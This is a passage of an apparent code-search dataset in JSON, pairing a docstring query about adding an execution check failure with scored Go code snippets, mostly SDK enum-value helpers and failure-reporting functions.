[]PrivateEndpointConnectionProvisioningState{\n\t\tPrivateEndpointConnectionProvisioningStateCreating,\n\t\tPrivateEndpointConnectionProvisioningStateDeleting,\n\t\tPrivateEndpointConnectionProvisioningStateFailed,\n\t\tPrivateEndpointConnectionProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "b26a353dda7b3855516dc740fa1db6b5", "score": "0.6092522", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{\n\t\tPrivateEndpointConnectionProvisioningStateCreating,\n\t\tPrivateEndpointConnectionProvisioningStateDeleting,\n\t\tPrivateEndpointConnectionProvisioningStateFailed,\n\t\tPrivateEndpointConnectionProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "344b73edb58a56f73256c1ec7abcc687", "score": "0.6087877", "text": "func PossibleKubeEnvironmentProvisioningStateValues() []KubeEnvironmentProvisioningState {\n\treturn []KubeEnvironmentProvisioningState{\n\t\tKubeEnvironmentProvisioningStateSucceeded,\n\t\tKubeEnvironmentProvisioningStateFailed,\n\t\tKubeEnvironmentProvisioningStateCanceled,\n\t\tKubeEnvironmentProvisioningStateWaiting,\n\t\tKubeEnvironmentProvisioningStateInitializationInProgress,\n\t\tKubeEnvironmentProvisioningStateInfrastructureSetupInProgress,\n\t\tKubeEnvironmentProvisioningStateInfrastructureSetupComplete,\n\t\tKubeEnvironmentProvisioningStateScheduledForDelete,\n\t\tKubeEnvironmentProvisioningStateUpgradeRequested,\n\t\tKubeEnvironmentProvisioningStateUpgradeFailed,\n\t}\n}", "title": "" }, { "docid": "87535ccf3f214101cfaa3910f3434974", "score": "0.6076108", "text": "func PossibleProfileResourceStateValues() []ProfileResourceState {\n\treturn []ProfileResourceState{\n\t\tProfileResourceStateActive,\n\t\tProfileResourceStateCreating,\n\t\tProfileResourceStateDeleting,\n\t\tProfileResourceStateDisabled,\n\t}\n}", "title": "" }, { "docid": "95a60182bd0df230a0cb9848a0830ad3", "score": "0.6034881", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{PrivateEndpointConnectionProvisioningStateCreating, PrivateEndpointConnectionProvisioningStateDeleting, PrivateEndpointConnectionProvisioningStateFailed, PrivateEndpointConnectionProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "95a60182bd0df230a0cb9848a0830ad3", "score": "0.6034881", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{PrivateEndpointConnectionProvisioningStateCreating, PrivateEndpointConnectionProvisioningStateDeleting, PrivateEndpointConnectionProvisioningStateFailed, PrivateEndpointConnectionProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "95a60182bd0df230a0cb9848a0830ad3", "score": "0.6034881", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{PrivateEndpointConnectionProvisioningStateCreating, PrivateEndpointConnectionProvisioningStateDeleting, PrivateEndpointConnectionProvisioningStateFailed, PrivateEndpointConnectionProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "8304eef6f88877d71a91ec46475e7e8d", "score": "0.6000555", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{PrivateEndpointConnectionProvisioningStateFailed, PrivateEndpointConnectionProvisioningStateSucceeded, PrivateEndpointConnectionProvisioningStateUpdating}\n}", "title": "" }, { "docid": "6ebc3f40c32f624eda356afe42dd3114", "score": "0.59970176", "text": "func PossibleContainerAppProvisioningStateValues() []ContainerAppProvisioningState {\n\treturn []ContainerAppProvisioningState{\n\t\tContainerAppProvisioningStateCanceled,\n\t\tContainerAppProvisioningStateFailed,\n\t\tContainerAppProvisioningStateInProgress,\n\t\tContainerAppProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "b3610d04deafcdf5cc0e049fe947b456", "score": "0.5972442", "text": "func PossibleExpressRouteAuthorizationProvisioningStateValues() []ExpressRouteAuthorizationProvisioningState {\n\treturn []ExpressRouteAuthorizationProvisioningState{ExpressRouteAuthorizationProvisioningStateFailed, ExpressRouteAuthorizationProvisioningStateSucceeded, ExpressRouteAuthorizationProvisioningStateUpdating}\n}", "title": "" }, { "docid": "f5252876ec9e96ad74e810dbfbdbf6cc", "score": "0.59473914", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{Creating, Deleting, Failed, Succeeded}\n}", "title": "" }, { "docid": "f5252876ec9e96ad74e810dbfbdbf6cc", "score": "0.59473914", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{Creating, Deleting, Failed, Succeeded}\n}", "title": "" }, { "docid": "7c0573108d999a74edaea0882f040971", "score": "0.5943009", "text": "func PossibleAmlFilesystemProvisioningStateTypeValues() []AmlFilesystemProvisioningStateType {\n\treturn []AmlFilesystemProvisioningStateType{\n\t\tAmlFilesystemProvisioningStateTypeCanceled,\n\t\tAmlFilesystemProvisioningStateTypeCreating,\n\t\tAmlFilesystemProvisioningStateTypeDeleting,\n\t\tAmlFilesystemProvisioningStateTypeFailed,\n\t\tAmlFilesystemProvisioningStateTypeSucceeded,\n\t\tAmlFilesystemProvisioningStateTypeUpdating,\n\t}\n}", "title": "" }, { "docid": "172b2dfcd1418c31e14167bb2459f4bf", "score": "0.5924513", "text": "func PossibleKnownLocationSpecProvisioningStatusValues() []KnownLocationSpecProvisioningStatus {\n\treturn []KnownLocationSpecProvisioningStatus{\n\t\tKnownLocationSpecProvisioningStatusCanceled,\n\t\tKnownLocationSpecProvisioningStatusCreating,\n\t\tKnownLocationSpecProvisioningStatusDeleting,\n\t\tKnownLocationSpecProvisioningStatusFailed,\n\t\tKnownLocationSpecProvisioningStatusSucceeded,\n\t\tKnownLocationSpecProvisioningStatusUpdating,\n\t}\n}", "title": "" }, { "docid": "4e9e3c19b1c0ad0678e5cb3077d03d84", "score": "0.591129", "text": "func PossiblePrefixValidationStateValues() []PrefixValidationState {\n\treturn []PrefixValidationState{\n\t\tPrefixValidationStateFailed,\n\t\tPrefixValidationStateInvalid,\n\t\tPrefixValidationStateNone,\n\t\tPrefixValidationStatePending,\n\t\tPrefixValidationStateUnknown,\n\t\tPrefixValidationStateVerified,\n\t}\n}", "title": "" }, { "docid": "f15ad58cc107e7098575e77c17f07176", "score": "0.58630043", "text": "func PossibleReadOnlyProvisioningStateValues() []ReadOnlyProvisioningState {\n\treturn []ReadOnlyProvisioningState{\n\t\tReadOnlyProvisioningStateDeleted,\n\t\tReadOnlyProvisioningStateFailed,\n\t\tReadOnlyProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "e9cb860591ffd5e5b4526ac34f30535e", "score": "0.5847692", "text": "func PossiblePrimingJobStateValues() []PrimingJobState {\n\treturn []PrimingJobState{\n\t\tPrimingJobStateComplete,\n\t\tPrimingJobStatePaused,\n\t\tPrimingJobStateQueued,\n\t\tPrimingJobStateRunning,\n\t}\n}", "title": "" }, { "docid": "7e1f48419fab98e0716567682f64c670", "score": "0.57917964", "text": "func PossibleManagementOperationStateValues() []ManagementOperationState {\n\treturn []ManagementOperationState{CancelInProgress, Cancelled, Failed, InProgress, Pending, Succeeded}\n}", "title": "" }, { "docid": "7e1f48419fab98e0716567682f64c670", "score": "0.57917964", "text": "func PossibleManagementOperationStateValues() []ManagementOperationState {\n\treturn []ManagementOperationState{CancelInProgress, Cancelled, Failed, InProgress, Pending, Succeeded}\n}", "title": "" }, { "docid": "8c64196b215195f832c50e731ae848f9", "score": "0.5790985", "text": "func PossibleEndpointResourceStateValues() []EndpointResourceState {\n\treturn []EndpointResourceState{\n\t\tEndpointResourceStateCreating,\n\t\tEndpointResourceStateDeleting,\n\t\tEndpointResourceStateRunning,\n\t\tEndpointResourceStateStarting,\n\t\tEndpointResourceStateStopped,\n\t\tEndpointResourceStateStopping,\n\t}\n}", "title": "" }, { "docid": "5fce89f46b79303f27f9a42db56f42c8", "score": "0.57830775", "text": "func PossibleCustomHTTPSProvisioningStateValues() []CustomHTTPSProvisioningState {\n\treturn []CustomHTTPSProvisioningState{\n\t\tCustomHTTPSProvisioningStateDisabled,\n\t\tCustomHTTPSProvisioningStateDisabling,\n\t\tCustomHTTPSProvisioningStateEnabled,\n\t\tCustomHTTPSProvisioningStateEnabling,\n\t\tCustomHTTPSProvisioningStateFailed,\n\t}\n}", "title": "" }, { "docid": "fa852fd35c19a96fe9fc780879fa7eba", "score": "0.57810456", "text": "func PossiblePolicyResourceStateValues() []PolicyResourceState {\n\treturn []PolicyResourceState{\n\t\tPolicyResourceStateCreating,\n\t\tPolicyResourceStateDeleting,\n\t\tPolicyResourceStateDisabled,\n\t\tPolicyResourceStateDisabling,\n\t\tPolicyResourceStateEnabled,\n\t\tPolicyResourceStateEnabling,\n\t}\n}", "title": "" }, { "docid": "57382dda8d87406b8c714f4233fcd2d1", "score": "0.57770264", "text": "func PossiblePrivateCloudProvisioningStateValues() []PrivateCloudProvisioningState {\n\treturn []PrivateCloudProvisioningState{PrivateCloudProvisioningStateBuilding, PrivateCloudProvisioningStateCancelled, PrivateCloudProvisioningStateDeleting, PrivateCloudProvisioningStateFailed, PrivateCloudProvisioningStatePending, PrivateCloudProvisioningStateSucceeded, PrivateCloudProvisioningStateUpdating}\n}", "title": "" }, { "docid": "e765b45537c7505a9f251f83d6f0ddac", "score": "0.57619804", "text": "func PossibleSiteAvailabilityStateValues() []SiteAvailabilityState {\n\treturn []SiteAvailabilityState{\n\t\tSiteAvailabilityStateNormal,\n\t\tSiteAvailabilityStateLimited,\n\t\tSiteAvailabilityStateDisasterRecoveryMode,\n\t}\n}", "title": "" }, { "docid": "ee212e322bde399a6e32066d039b553b", "score": "0.57603633", "text": "func PossibleMonitorStateValues() []MonitorState {\n\treturn []MonitorState{MonitorStateDisabled, MonitorStateEnabled}\n}", "title": "" }, { "docid": "38587d98d81a25d260e93f650998ca7f", "score": "0.5756349", "text": "func PossibleJobCollectionStateValues() []JobCollectionState {\n\treturn []JobCollectionState{Deleted, Disabled, Enabled, Suspended}\n}", "title": "" }, { "docid": "d6ad9805fafc0dcf281d54a247a81a75", "score": "0.5706035", "text": "func PossibleSegmentStatusEnumValues() []SegmentStatusEnum {\n\treturn []SegmentStatusEnum{SegmentStatusEnumFAILURE, SegmentStatusEnumSUCCESS}\n}", "title": "" }, { "docid": "ebb002ca7e963f4e223a0378af4a2029", "score": "0.5701665", "text": "func PossibleDomainValidationStateValues() []DomainValidationState {\n\treturn []DomainValidationState{\n\t\tDomainValidationStateApproved,\n\t\tDomainValidationStateInternalError,\n\t\tDomainValidationStatePending,\n\t\tDomainValidationStatePendingRevalidation,\n\t\tDomainValidationStateRefreshingValidationToken,\n\t\tDomainValidationStateRejected,\n\t\tDomainValidationStateSubmitting,\n\t\tDomainValidationStateTimedOut,\n\t\tDomainValidationStateUnknown,\n\t}\n}", "title": "" }, { "docid": "41b04cf0ea198af906c641b8a6d43328", "score": "0.568848", "text": "func PossibleMigrationStateValues() []MigrationState {\n\treturn []MigrationState{MigrationStateCompleted, MigrationStateInProgress}\n}", "title": "" }, { "docid": "c658984ca21b9b4c35cf9c8fef1a5618", "score": "0.568054", "text": "func PossibleOriginGroupResourceStateValues() []OriginGroupResourceState {\n\treturn []OriginGroupResourceState{\n\t\tOriginGroupResourceStateActive,\n\t\tOriginGroupResourceStateCreating,\n\t\tOriginGroupResourceStateDeleting,\n\t}\n}", "title": "" }, { "docid": "0f7c14a33ec09d9e2f6164a9e85fa659", "score": "0.5661151", "text": "func PossibleCustomDomainResourceStateValues() []CustomDomainResourceState {\n\treturn []CustomDomainResourceState{\n\t\tCustomDomainResourceStateActive,\n\t\tCustomDomainResourceStateCreating,\n\t\tCustomDomainResourceStateDeleting,\n\t}\n}", "title": "" }, { "docid": "109adf4f281ccbc1a33bf4b6f25bae12", "score": "0.56557286", "text": "func PossiblePipelineJobStateValues() []PipelineJobState {\n\treturn []PipelineJobState{PipelineJobStateCanceled, PipelineJobStateCompleted, PipelineJobStateFailed, PipelineJobStateProcessing}\n}", "title": "" }, { "docid": "a162aee272dacbf33ad694b2bba3c587", "score": "0.56399006", "text": "func PossibleMonitoringSettingStateValues() []MonitoringSettingState {\n\treturn []MonitoringSettingState{MonitoringSettingStateFailed, MonitoringSettingStateNotAvailable, MonitoringSettingStateSucceeded, MonitoringSettingStateUpdating}\n}", "title": "" } ]
685bdeadb44863cd6a8be3ca378105fb
AddExecutionCheckFailure adds a ExecutionCheckFailure
[ { "docid": "20a40fac8690721db4455285ad57fc7c", "score": "0.81174105", "text": "func (fw *adminDBCommandFileWriterImpl) AddExecutionCheckFailure(ecf *ExecutionCheckFailure) {\n\tif fw.shouldFlush() {\n\t\tfw.Flush()\n\t}\n\tfw.executionCheckFailures = append(fw.executionCheckFailures, ecf)\n}", "title": "" } ]
[ { "docid": "8234e19e729e4e68628ad10a7f145b7c", "score": "0.71830595", "text": "func (ts *TestSuite) AddFailure(name string, time time.Time, logs, msg string) {\n\tts.Failures++\n\tts.addTest(name, time, logs, &Result{\n\t\tXMLName: xml.Name{Local: \"failure\"},\n\t\tType: \"failure\",\n\t\tMessage: msg,\n\t})\n}", "title": "" }, { "docid": "36154e887c04eec1e24487bc0911d6d1", "score": "0.67618036", "text": "func (v *Validation) AddFailure(failure *Failure) {\n\tif len(v.Failures) == 0 {\n\t\tv.Failures = make([]*Failure, 0)\n\t}\n\tv.Failures = append(v.Failures, failure)\n\tv.FailedCount++\n}", "title": "" }, { "docid": "1dd7c74d81ac0ee306fd61f9db9f4c43", "score": "0.59821695", "text": "func (updater *ApplyResultUpdaterImpl) AddFailed() {\n\tatomic.AddUint32(&updater.Result.Failed, 1)\n}", "title": "" }, { "docid": "e2a5ce93bc1e9544d43407f0c9c2195e", "score": "0.5933979", "text": "func (v *BaseAddVisitor) AddFailuref(\n\tpos meta.Position,\n\tformat string,\n\ta ...interface{},\n) {\n\tv.failures = append(v.failures, report.FailureWithSeverityf(pos, v.ruleID, v.severity, format, a...))\n}", "title": "" }, { "docid": "49ba17a6b85a4a68cea194c7d87a6281", "score": "0.5777131", "text": "func (r *Runtime) appendFailedResult(ctx context.Context, opErr error, run storage.Run) error {\n\tsaveResult := func() error {\n\t\tresult := run.NewResult(cnab.StatusFailed)\n\t\treturn r.installations.InsertResult(ctx, result)\n\t}\n\n\tresultErr := saveResult()\n\n\t// Accumulate any errors from the operation with the persistence errors\n\treturn multierror.Append(opErr, resultErr).ErrorOrNil()\n}", "title": "" }, { "docid": "ede08160686aa6bba7c9ce53649defcf", "score": "0.57195926", "text": "func addTestExecution(ctx context.Context, ref *firestore.DocumentRef, message kymapubsub.FailingTestMessage, jobID *string) error {\n\t// Add failed test execution to document in firestore db.\n\t// Failed test execution is added to failures map.\n\t_, err := ref.Set(ctx, map[string]map[string]map[string]interface{}{\"failures\": {\n\t\t*jobID: {\n\t\t\t\"url\": message.URL, \"gcsPath\": message.GcsPath, \"refs\": message.Refs,\n\t\t}}}, firestore.Merge([]string{\"failures\", *jobID}))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not add execution data to firestore document, error: %w\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f793f54a54825168c0b252697fc80c5e", "score": "0.5710634", "text": "func (e *ExecCmdTestHelper) AddExecResult(stdOut, stdErr string, exitCode int, delayMiliseconds int, command ...string) {\n\tfullCommand := strings.Join(command, \" \")\n\tbase64Command := base64.StdEncoding.EncodeToString([]byte(command[0]))\n\n\tresult := ExecCmdTestResult{\n\t\tstdOut: stdOut,\n\t\tstdErr: stdErr,\n\t\texitCode: exitCode,\n\t\tcommand: fullCommand,\n\t\tdelay: delayMiliseconds,\n\t}\n\n\tif e.testResults[base64Command] == nil {\n\t\te.testResults[base64Command] = make([]ExecCmdTestResult, 0)\n\t}\n\n\te.testResults[base64Command] = append(e.testResults[base64Command], result)\n}", "title": "" }, { "docid": "4d4a94677ac565628db102161771a593", "score": "0.5654421", "text": "func (s *Status) AddCheckResult(name string, check Check) {\n\ts.mutex.Lock()\n\ts.Checks[name] = check\n\tif s.Status < check.Status {\n\t\ts.Status = check.Status\n\t}\n\ts.mutex.Unlock()\n}", "title": "" }, { "docid": "1f37c4550116f14526d5c6cbdb38d35b", "score": "0.5638253", "text": "func (fw *adminDBCommandFileWriterImpl) AddCorruptedExecution(ce *CorruptedExecution) {\n\tif fw.shouldFlush() {\n\t\tfw.Flush()\n\t}\n\tfw.corruptedExecutions = append(fw.corruptedExecutions, ce)\n}", "title": "" }, { "docid": "0e3662b5ac3f6ad49befd72503b8f1c0", "score": "0.5453799", "text": "func addFailureSummary(b *ui.MiloBuildLegacy) {\n\tfor _, comp := range b.Components {\n\t\t// Add interesting information into the main summary text.\n\t\tif comp.Status != milostatus.Success {\n\t\t\tb.Summary.Text = append(\n\t\t\t\tb.Summary.Text, fmt.Sprintf(\"%s %s\", comp.Status, comp.Label))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "798385e8d07ccc67807893aa42151b49", "score": "0.539209", "text": "func AddFailWorkflowEvent(\n\tbuilder execution.MutableState,\n\tdecisionCompletedEventID int64,\n\treason string,\n\tdetails []byte,\n) *types.HistoryEvent {\n\tevent, _ := builder.AddFailWorkflowEvent(decisionCompletedEventID, &types.FailWorkflowExecutionDecisionAttributes{\n\t\tReason: &reason,\n\t\tDetails: details,\n\t})\n\treturn event\n}", "title": "" }, { "docid": "9757643d54550aa530d0a6c98c52ae98", "score": "0.5275995", "text": "func AddRunRequestQueueFailure(t string, waybill *kubeapplierv1alpha1.Waybill) {\n\trunQueueFailures.With(prometheus.Labels{\n\t\t\"namespace\": waybill.Namespace,\n\t\t\"type\": t,\n\t}).Inc()\n}", "title": "" }, { "docid": "d6371b473abc616f90e8ca6a6eb7b8f0", "score": "0.52675414", "text": "func (pc *passContext) addFailures(pos token.Pos, s string) {\n\tcount := 1\n\tif len(s) > 0 && s[0] == ':' {\n\t\tparsedCount, err := strconv.Atoi(s[1:])\n\t\tif err != nil {\n\t\t\tpc.pass.Reportf(pos, \"unable to parse failure annotation %q: %v\", s[1:], err)\n\t\t\treturn\n\t\t}\n\t\tcount = parsedCount\n\t}\n\tpc.failures[pc.positionKey(pos)] = &failData{\n\t\tpos: pos,\n\t\tcount: count,\n\t}\n}", "title": "" }, { "docid": "e5d7dded9235c46ac8a84596f583516e", "score": "0.5260314", "text": "func (ap *Task) Fail(invocationID string, taskID string, errMsg string) error {\n\tif len(invocationID) == 0 {\n\t\treturn validate.NewError(\"invocationID\", errors.New(\"id should not be empty\"))\n\t}\n\tif len(taskID) == 0 {\n\t\treturn validate.NewError(\"taskID\", errors.New(\"id should not be empty\"))\n\t}\n\n\tevent, err := fes.NewEvent(projectors.NewTaskRunAggregate(taskID), &events.TaskFailed{\n\t\tError: &types.Error{Message: errMsg},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\taggregate := projectors.NewInvocationAggregate(invocationID)\n\tevent.Parent = &aggregate\n\treturn ap.es.Append(event)\n}", "title": "" }, { "docid": "bd6fb3aa83d409886ace40d499f74b27", "score": "0.52306914", "text": "func (tc *TestCase) SetFailure(msg, typ, desc string) TestCaseSetter {\n\tf := &Failure{\n\t\tMessage: msg,\n\t\tType: typ,\n\t\tDescription: desc,\n\t}\n\ttc.Failure = f\n\treturn tc\n}", "title": "" }, { "docid": "736a55937e94fd2b021a967cefa14432", "score": "0.51270443", "text": "func (mb *MetricsBuilder) RecordHaproxyFailedChecksDataPoint(ts pcommon.Timestamp, inputVal string) error {\n\tval, err := strconv.ParseInt(inputVal, 10, 64)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to parse int64 for HaproxyFailedChecks, value was %s: %w\", inputVal, err)\n\t}\n\tmb.metricHaproxyFailedChecks.recordDataPoint(mb.startTime, ts, val)\n\treturn nil\n}", "title": "" }, { "docid": "11afc66874190c4556e43dbfce27a187", "score": "0.51043034", "text": "func AddStartAndCheckJobBatchFail() {\n\tstartAndCheckJobBatchFails.Inc()\n}", "title": "" }, { "docid": "71634ceff7ef340c00024a373e966251", "score": "0.5094539", "text": "func (r ActionsInvocationRecord) failure(test ActionTestSummaryGroup, testSuit junit.TestSuite) string {\n\tfor _, failureSummary := range r.Issues.TestFailureSummaries.Values {\n\t\tif failureSummary.ProducingTarget.Value == testSuit.Name && testCaseMatching(test, failureSummary.TestCaseName.Value) {\n\t\t\tfile, line := failureSummary.fileAndLineNumber()\n\t\t\treturn fmt.Sprintf(\"%s:%s - %s\", file, line, failureSummary.Message.Value)\n\t\t}\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "de11f12b4d4f540af037981c1728d690", "score": "0.50856847", "text": "func (o *CampaignStatsPerStatus) SetFailure(v int32) {\n\to.Failure = v\n}", "title": "" }, { "docid": "2a6de7713ad8f0958b7f53dcc742394c", "score": "0.5072998", "text": "func (s *JobConfig) AddCheck(c consul.AgentServiceCheck) {\n\ts.ServiceChecks = append(s.ServiceChecks, &c)\n}", "title": "" }, { "docid": "4e3d879baea0b3e4d5f43dc765d108b6", "score": "0.50307083", "text": "func (r *DetectionResults) Fail(filePath git_repo.FilePath, message string, commits []string) {\n\tif r.Failures[filePath] == nil {\n\t\tr.Failures[filePath] = &FailureData{make(map[string][]string)}\n\t}\n\tif r.Failures[filePath].FailuresInCommits == nil {\n\t\tr.Failures[filePath].FailuresInCommits = make(map[string][]string)\n\t}\n\texistingCommits := r.Failures[filePath].FailuresInCommits[message]\n\tif len(existingCommits) == 0 {\n\t\tr.Failures[filePath].FailuresInCommits[message] = commits\n\t} else {\n\t\tr.Failures[filePath].FailuresInCommits[message] = append(r.Failures[filePath].FailuresInCommits[message], commits...)\n\t}\n}", "title": "" }, { "docid": "312edfda152144d48a9b3b891c2da55f", "score": "0.5029506", "text": "func (dt *DynamicTimout) LogFailure() {\n\tdt.logEntry(maxDuration)\n}", "title": "" }, { "docid": "327ae59592f6b3922eddbd15547de2bb", "score": "0.50292456", "text": "func AddGetJobListFail() {\n\tgetJobListFails.Inc()\n}", "title": "" }, { "docid": "6648bedea10f26bbb91ee4a9001f38df", "score": "0.49978235", "text": "func expectCheckFailures(t *testing.T, descr string, test Test) {\n\tif test.Status != Fail {\n\t\tt.Fatalf(\"%s: Expected Fail, got %s\", descr, test.Status)\n\t}\n\tif len(test.CheckResults) != len(test.Checks) {\n\t\tt.Fatalf(\"%s: Expected %d entries, got %d: %#v\",\n\t\t\tdescr, len(test.Checks), len(test.CheckResults), test)\n\t}\n\n\tfor i, r := range test.CheckResults {\n\t\tif r.Status != Fail {\n\t\t\tt.Errorf(\"%s check %d: Expect Fail, got %s\", descr, i, r.Status)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c68332aa3f4f8049076d4991063c4a33", "score": "0.49695545", "text": "func (db *DB) AddExpectedExecuteFetch(entry ExpectedExecuteFetch) {\n\tdb.AddExpectedExecuteFetchAtIndex(appendEntry, entry)\n}", "title": "" }, { "docid": "32459083d4b61bd5bcb4082507d347cf", "score": "0.49438342", "text": "func (hc *HealthCheck) AddCheck(name string, checker Checker) (err error) {\n\t_, err = hc.AddAndGetCheck(name, checker)\n\treturn err\n}", "title": "" }, { "docid": "8753d9d693a7faea848efceee648041b", "score": "0.49342564", "text": "func (cs *Stats) Add(t time.Duration, err error, warnings []error, metricStats SenderStats) {\n\tcs.m.Lock()\n\tdefer cs.m.Unlock()\n\n\t// store execution times in Milliseconds\n\ttms := t.Nanoseconds() / 1e6\n\tcs.LastExecutionTime = tms\n\tcs.ExecutionTimes[cs.TotalRuns%uint64(len(cs.ExecutionTimes))] = tms\n\tcs.TotalRuns++\n\tif cs.telemetry {\n\t\ttlmExecutionTime.Set(float64(tms), cs.CheckName)\n\t}\n\tvar totalExecutionTime int64\n\tringSize := cs.TotalRuns\n\tif ringSize > uint64(len(cs.ExecutionTimes)) {\n\t\tringSize = uint64(len(cs.ExecutionTimes))\n\t}\n\tfor i := uint64(0); i < ringSize; i++ {\n\t\ttotalExecutionTime += cs.ExecutionTimes[i]\n\t}\n\tcs.AverageExecutionTime = totalExecutionTime / int64(ringSize)\n\tif err != nil {\n\t\tcs.TotalErrors++\n\t\tif cs.telemetry {\n\t\t\ttlmRuns.Inc(cs.CheckName, runCheckFailureTag)\n\t\t}\n\t\tcs.LastError = err.Error()\n\t} else {\n\t\tif cs.telemetry {\n\t\t\ttlmRuns.Inc(cs.CheckName, runCheckSuccessTag)\n\t\t}\n\t\tcs.LastError = \"\"\n\t\tcs.LastSuccessDate = time.Now().Unix()\n\t}\n\tcs.LastWarnings = []string{}\n\tif len(warnings) != 0 {\n\t\tif cs.telemetry {\n\t\t\ttlmWarnings.Add(float64(len(warnings)), cs.CheckName)\n\t\t}\n\t\tfor _, w := range warnings {\n\t\t\tcs.TotalWarnings++\n\t\t\tcs.LastWarnings = append(cs.LastWarnings, w.Error())\n\t\t}\n\t}\n\tcs.UpdateTimestamp = time.Now().Unix()\n\n\tif metricStats.MetricSamples > 0 {\n\t\tcs.MetricSamples = metricStats.MetricSamples\n\t\tcs.TotalMetricSamples += uint64(metricStats.MetricSamples)\n\t\tif cs.telemetry {\n\t\t\ttlmMetricsSamples.Add(float64(metricStats.MetricSamples), cs.CheckName)\n\t\t}\n\t}\n\tif metricStats.Events > 0 {\n\t\tcs.Events = metricStats.Events\n\t\tcs.TotalEvents += uint64(metricStats.Events)\n\t\tif cs.telemetry {\n\t\t\ttlmEvents.Add(float64(metricStats.Events), cs.CheckName)\n\t\t}\n\t}\n\tif metricStats.ServiceChecks > 0 {\n\t\tcs.ServiceChecks = metricStats.ServiceChecks\n\t\tcs.TotalServiceChecks += uint64(metricStats.ServiceChecks)\n\t\tif cs.telemetry {\n\t\t\ttlmServices.Add(float64(metricStats.ServiceChecks), cs.CheckName)\n\t\t}\n\t}\n\tif metricStats.HistogramBuckets > 0 {\n\t\tcs.HistogramBuckets = metricStats.HistogramBuckets\n\t\tcs.TotalHistogramBuckets += uint64(metricStats.HistogramBuckets)\n\t\tif cs.telemetry {\n\t\t\ttlmHistogramBuckets.Add(float64(metricStats.HistogramBuckets), cs.CheckName)\n\t\t}\n\t}\n\tfor k, v := range metricStats.EventPlatformEvents {\n\t\t// translate event types into more descriptive names\n\t\tif humanName, ok := EventPlatformNameTranslations[k]; ok {\n\t\t\tk = humanName\n\t\t}\n\t\tcs.TotalEventPlatformEvents[k] = cs.TotalEventPlatformEvents[k] + v\n\t\tcs.EventPlatformEvents[k] = v\n\t}\n}", "title": "" }, { "docid": "b1bb12f44ade1d95d840a210b13d00ee", "score": "0.492738", "text": "func (s *RedAgentService) AddCheck(c consul.AgentServiceCheck) {\n\ts.ServiceChecks = append(s.ServiceChecks, &c)\n}", "title": "" }, { "docid": "d9abf7ba4fa4a2ecafea7a737878af15", "score": "0.48703888", "text": "func OnWorkflowFail(err error, workItem string) {\n\tfailLogFilePath := config.Config.FailLogFilePath\n\n\tif failLogFilePath != \"\" {\n\t\tfileio.AppendToFile(workItem, failLogFilePath)\n\t}\n\n\tlog.LogErr(res.Error, err.Error())\n\tlog.LogErr(res.FailedOnItem, workItem)\n}", "title": "" }, { "docid": "ea9fee18e6f0d4c1a5e43b4c6998f5d7", "score": "0.48408625", "text": "func (c *Config) AddCheck(check func(*Config) *ConfigError) {\n\tc.Checks = append(c.Checks, check)\n}", "title": "" }, { "docid": "3cc8973018ef00980f5cc4e47f5480aa", "score": "0.48302913", "text": "func (e *CheckEngine) ExecuteChecks() error {\n\tlog.Info(\"target image: \", e.Image)\n\t// check if the image needs downloading\n\tif !e.isDownloaded {\n\t\tisRemote, err := e.ContainerIsRemote(e.Image)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s\", errors.ErrGetRemoteContainerFailed, err)\n\t\t}\n\n\t\tif isRemote {\n\t\t\tlog.Info(\"downloading image\")\n\n\t\t\tstdouterr, err := containerutil.GetContainerFromRegistry(podmanEngine, e.Image)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"%w: %s\", err, stdouterr)\n\t\t\t}\n\t\t\te.isDownloaded = true\n\t\t}\n\t}\n\n\tfor _, check := range e.Checks {\n\t\te.results.TestedImage = e.Image\n\t\ttargetImage := e.Image\n\n\t\tlog.Info(\"running check: \", check.Name())\n\t\t// We want to know the time just for the check itself, so reset checkStartTime\n\t\tcheckStartTime := time.Now()\n\n\t\t// run the validation\n\t\tcheckPassed, err := check.Validate(migration.ImageToImageReference(targetImage))\n\n\t\tcheckElapsedTime := time.Since(checkStartTime)\n\n\t\tif err != nil {\n\t\t\tlog.WithFields(log.Fields{\"result\": err, errored: err.Error()}).Info(\"check completed: \", check.Name())\n\t\t\te.results.Errors = append(e.results.Errors, runtime.Result{Check: check, ElapsedTime: checkElapsedTime})\n\t\t\tcontinue\n\t\t}\n\n\t\tif !checkPassed {\n\t\t\tlog.WithFields(log.Fields{\"result\": failed}).Info(\"check completed: \", check.Name())\n\t\t\te.results.Failed = append(e.results.Failed, runtime.Result{Check: check, ElapsedTime: checkElapsedTime})\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.WithFields(log.Fields{\"result\": passed}).Info(\"check completed: \", check.Name())\n\t\te.results.Passed = append(e.results.Passed, runtime.Result{Check: check, ElapsedTime: 